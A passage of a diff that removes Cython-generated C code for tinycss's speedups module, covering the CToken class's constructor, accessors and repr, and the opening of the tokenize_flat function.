__pyx_n_s__line); - if (likely(values[4])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 4); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - case 5: - values[5] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__column); - if (likely(values[5])) kw_args--; - else { - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, 5); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } - if (unlikely(kw_args > 0)) { - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, PyTuple_GET_SIZE(__pyx_args), "__init__") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - } - } else if (PyTuple_GET_SIZE(__pyx_args) != 6) { - goto __pyx_L5_argtuple_error; - } else { - values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - values[2] = PyTuple_GET_ITEM(__pyx_args, 2); - values[3] = PyTuple_GET_ITEM(__pyx_args, 3); - values[4] = PyTuple_GET_ITEM(__pyx_args, 4); - values[5] = PyTuple_GET_ITEM(__pyx_args, 5); - } - __pyx_v_type_ = values[0]; - __pyx_v_css_value = values[1]; - __pyx_v_value = values[2]; - __pyx_v_unit = values[3]; - __pyx_v_line = values[4]; - __pyx_v_column = values[5]; - } - goto __pyx_L4_argument_unpacking_done; - __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("__init__", 1, 6, 6, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 35; __pyx_clineno = __LINE__; goto __pyx_L3_error;} - __pyx_L3_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __Pyx_RefNannyFinishContext(); - return -1; - __pyx_L4_argument_unpacking_done:; - - /* "tinycss/speedups.pyx":36 - * - * def __init__(self, type_, css_value, value, unit, line, column): - * self.type = type_ # <<<<<<<<<<<<<< - * self._as_css = css_value - * self.value = value - */ - __Pyx_INCREF(__pyx_v_type_); - __Pyx_GIVEREF(__pyx_v_type_); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = __pyx_v_type_; - - /* "tinycss/speedups.pyx":37 - * def __init__(self, type_, css_value, value, unit, line, column): - * self.type = type_ - * self._as_css = css_value # <<<<<<<<<<<<<< - * self.value = value - * self.unit = unit - */ - __Pyx_INCREF(__pyx_v_css_value); - __Pyx_GIVEREF(__pyx_v_css_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = __pyx_v_css_value; - - /* "tinycss/speedups.pyx":38 - * self.type = type_ - * self._as_css = css_value - * self.value = value # <<<<<<<<<<<<<< - * self.unit = unit - * self.line = line - */ - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = __pyx_v_value; - - /* "tinycss/speedups.pyx":39 - * self._as_css = css_value - * self.value = value - * self.unit = unit # <<<<<<<<<<<<<< - * self.line = line - * self.column = column - */ - __Pyx_INCREF(__pyx_v_unit); - __Pyx_GIVEREF(__pyx_v_unit); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = __pyx_v_unit; - - /* "tinycss/speedups.pyx":40 - * self.value = value - * self.unit = unit - * self.line = line # <<<<<<<<<<<<<< - * self.column = column - * - */ - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_line); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 40; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line = __pyx_t_1; - - /* "tinycss/speedups.pyx":41 - * self.unit = unit - * self.line = line - * self.column = column # <<<<<<<<<<<<<< - * - * def as_css(self): - */ - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_column); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 41; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.__init__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":43 - * self.column = column - * - * def as_css(self): # <<<<<<<<<<<<<< - * """ - * Return as an Unicode string the CSS representation of the token, - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_1as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused); /*proto*/ -static char __pyx_doc_7tinycss_8speedups_6CToken_1as_css[] = "\n Return as an Unicode string the CSS representation of the token,\n as parsed in the source.\n "; -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_1as_css(PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *unused) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("as_css"); - - /* "tinycss/speedups.pyx":48 - * as parsed in the source. - * """ - * return self._as_css # <<<<<<<<<<<<<< - * - * def __repr__(self): - */ - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":50 - * return self._as_css - * - * def __repr__(self): # <<<<<<<<<<<<<< - * return ('' - * .format(self, self.unit or '')) - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2__repr__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_2__repr__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_t_2; - PyObject *__pyx_t_3 = NULL; - PyObject *__pyx_t_4 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__repr__"); - - /* "tinycss/speedups.pyx":51 - * - * def __repr__(self): - * return ('' # <<<<<<<<<<<<<< - * .format(self, self.unit or '')) - * - */ - __Pyx_XDECREF(__pyx_r); - - /* "tinycss/speedups.pyx":52 - * def __repr__(self): - * return ('' - * .format(self, self.unit or '')) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_kp_u_2), __pyx_n_s__format); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_IsTrue(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); if (unlikely(__pyx_t_2 < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - if (!__pyx_t_2) { - __Pyx_INCREF(((PyObject *)__pyx_kp_u_3)); - __pyx_t_3 = __pyx_kp_u_3; - } else { - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __pyx_t_3 = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit; - } - __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(((PyObject *)__pyx_t_4)); - __Pyx_INCREF(__pyx_v_self); - PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_v_self); - __Pyx_GIVEREF(__pyx_v_self); - PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3); - __Pyx_GIVEREF(__pyx_t_3); - __pyx_t_3 = 0; - __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 52; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0; - __pyx_r = __pyx_t_3; - __pyx_t_3 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_XDECREF(__pyx_t_3); - __Pyx_XDECREF(__pyx_t_4); - __Pyx_AddTraceback("tinycss.speedups.CToken.__repr__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":32 - * is_container = False - * - * cdef public object type, _as_css, value, unit # <<<<<<<<<<<<<< - * cdef public Py_ssize_t line, column - * - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4type___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4type_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->type = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_7_as_css___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_7_as_css_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->_as_css = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_5value___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_5value_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->value = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4unit___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __Pyx_INCREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __pyx_r = ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__set__"); - __Pyx_INCREF(__pyx_v_value); - __Pyx_GIVEREF(__pyx_v_value); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = __pyx_v_value; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(PyObject *__pyx_v_self); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4unit_2__del__(PyObject *__pyx_v_self) { - int __pyx_r; - __Pyx_RefNannyDeclarations - __Pyx_RefNannySetupContext("__del__"); - __Pyx_INCREF(Py_None); - __Pyx_GIVEREF(Py_None); - __Pyx_GOTREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - __Pyx_DECREF(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit); - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->unit = Py_None; - - __pyx_r = 0; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":33 - * - * cdef public object type, _as_css, value, unit - * cdef public Py_ssize_t line, column # <<<<<<<<<<<<<< - * - * def __init__(self, type_, css_value, value, unit, line, column): - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_4line___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __pyx_t_1 = PyInt_FromSsize_t(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_r = __pyx_t_1; - __pyx_t_1 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_AddTraceback("tinycss.speedups.CToken.line.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_4line_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__set__"); - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->line = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.line.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(PyObject *__pyx_v_self); /*proto*/ -static PyObject *__pyx_pf_7tinycss_8speedups_6CToken_6column___get__(PyObject *__pyx_v_self) { - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__get__"); - __Pyx_XDECREF(__pyx_r); - __pyx_t_1 = PyInt_FromSsize_t(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - __Pyx_GOTREF(__pyx_t_1); - __pyx_r = __pyx_t_1; - __pyx_t_1 = 0; - goto __pyx_L0; - - __pyx_r = Py_None; __Pyx_INCREF(Py_None); - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_XDECREF(__pyx_t_1); - __Pyx_AddTraceback("tinycss.speedups.CToken.column.__get__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = NULL; - __pyx_L0:; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -static int __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value); /*proto*/ -static int __pyx_pf_7tinycss_8speedups_6CToken_6column_1__set__(PyObject *__pyx_v_self, PyObject *__pyx_v_value) { - int __pyx_r; - __Pyx_RefNannyDeclarations - Py_ssize_t __pyx_t_1; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - __Pyx_RefNannySetupContext("__set__"); - __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 33; __pyx_clineno = __LINE__; goto __pyx_L1_error;} - ((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self)->column = __pyx_t_1; - - __pyx_r = 0; - goto __pyx_L0; - __pyx_L1_error:; - __Pyx_AddTraceback("tinycss.speedups.CToken.column.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); - __pyx_r = -1; - __pyx_L0:; - __Pyx_RefNannyFinishContext(); - return __pyx_r; -} - -/* "tinycss/speedups.pyx":55 - * - * - * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< - * """ - * :param css_source: - */ - -static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ -static char __pyx_doc_7tinycss_8speedups_tokenize_flat[] = "\n :param css_source:\n CSS as an unicode string\n :param ignore_comments:\n if true (the default) comments will not be included in the\n return value\n :return:\n An iterator of :class:`Token`\n\n "; -static PyMethodDef __pyx_mdef_7tinycss_8speedups_tokenize_flat = {__Pyx_NAMESTR("tokenize_flat"), (PyCFunction)__pyx_pf_7tinycss_8speedups_tokenize_flat, METH_VARARGS|METH_KEYWORDS, __Pyx_DOCSTR(__pyx_doc_7tinycss_8speedups_tokenize_flat)}; -static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { - PyObject *__pyx_v_css_source = 0; - int __pyx_v_ignore_comments; - PyObject *__pyx_v_tokens_dispatch = NULL; - PyObject *__pyx_v_compiled_token_indexes = NULL; - PyObject *__pyx_v_compiled_tokens = NULL; - PyObject *__pyx_v_unicode_unescape = NULL; - PyObject *__pyx_v_newline_unescape = NULL; - PyObject *__pyx_v_simple_unescape = NULL; - PyObject *__pyx_v_find_newlines = NULL; - Py_ssize_t __pyx_v_BAD_COMMENT; - Py_ssize_t __pyx_v_BAD_STRING; - Py_ssize_t __pyx_v_PERCENTAGE; - Py_ssize_t __pyx_v_DIMENSION; - Py_ssize_t __pyx_v_ATKEYWORD; - Py_ssize_t __pyx_v_FUNCTION; - Py_ssize_t __pyx_v_COMMENT; - Py_ssize_t __pyx_v_NUMBER; - Py_ssize_t __pyx_v_STRING; - Py_ssize_t __pyx_v_IDENT; - Py_ssize_t __pyx_v_HASH; - Py_ssize_t __pyx_v_URI; - Py_ssize_t __pyx_v_DELIM; - Py_ssize_t __pyx_v_pos; - Py_ssize_t __pyx_v_line; - Py_ssize_t __pyx_v_column; - Py_ssize_t __pyx_v_source_len; - Py_ssize_t __pyx_v_n_tokens; - Py_ssize_t __pyx_v_length; - Py_ssize_t __pyx_v_next_pos; - Py_ssize_t __pyx_v_type_; - struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_token = 0; - PyObject *__pyx_v_tokens = NULL; - PyObject *__pyx_v_char = NULL; - PyObject *__pyx_v_type_name = NULL; - PyObject *__pyx_v_css_value = NULL; - PyObject *__pyx_v_codepoint = NULL; - PyObject *__pyx_v_regexp = NULL; - PyObject *__pyx_v_match = NULL; - PyObject *__pyx_v_unit = NULL; - PyObject *__pyx_v_value = NULL; - PyObject *__pyx_v_newlines = NULL; - PyObject *__pyx_r = NULL; - __Pyx_RefNannyDeclarations - PyObject *__pyx_t_1 = NULL; - Py_ssize_t __pyx_t_2; - int __pyx_t_3; - long __pyx_t_4; - PyObject *__pyx_t_5 = NULL; - PyObject *__pyx_t_6 = NULL; - PyObject *__pyx_t_7 = NULL; - PyObject *(*__pyx_t_8)(PyObject *); - PyObject *__pyx_t_9 = NULL; - PyObject *__pyx_t_10 = NULL; - PyObject *(*__pyx_t_11)(PyObject *); - Py_ssize_t __pyx_t_12; - int __pyx_t_13; - int __pyx_t_14; - double __pyx_t_15; - int __pyx_t_16; - int __pyx_lineno = 0; - const char *__pyx_filename = NULL; - int __pyx_clineno = 0; - static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__css_source,&__pyx_n_s__ignore_comments,0}; - __Pyx_RefNannySetupContext("tokenize_flat"); - __pyx_self = __pyx_self; - { - PyObject* values[2] = {0,0}; - if (unlikely(__pyx_kwds)) { - Py_ssize_t kw_args; - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); - case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); - case 0: break; - default: goto __pyx_L5_argtuple_error; - } - kw_args = PyDict_Size(__pyx_kwds); - switch (PyTuple_GET_SIZE(__pyx_args)) { - case 0: - values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__css_source); - if (likely(values[0])) kw_args--; - else goto __pyx_L5_argtuple_error; - case 1: - if (kw_args > 0) 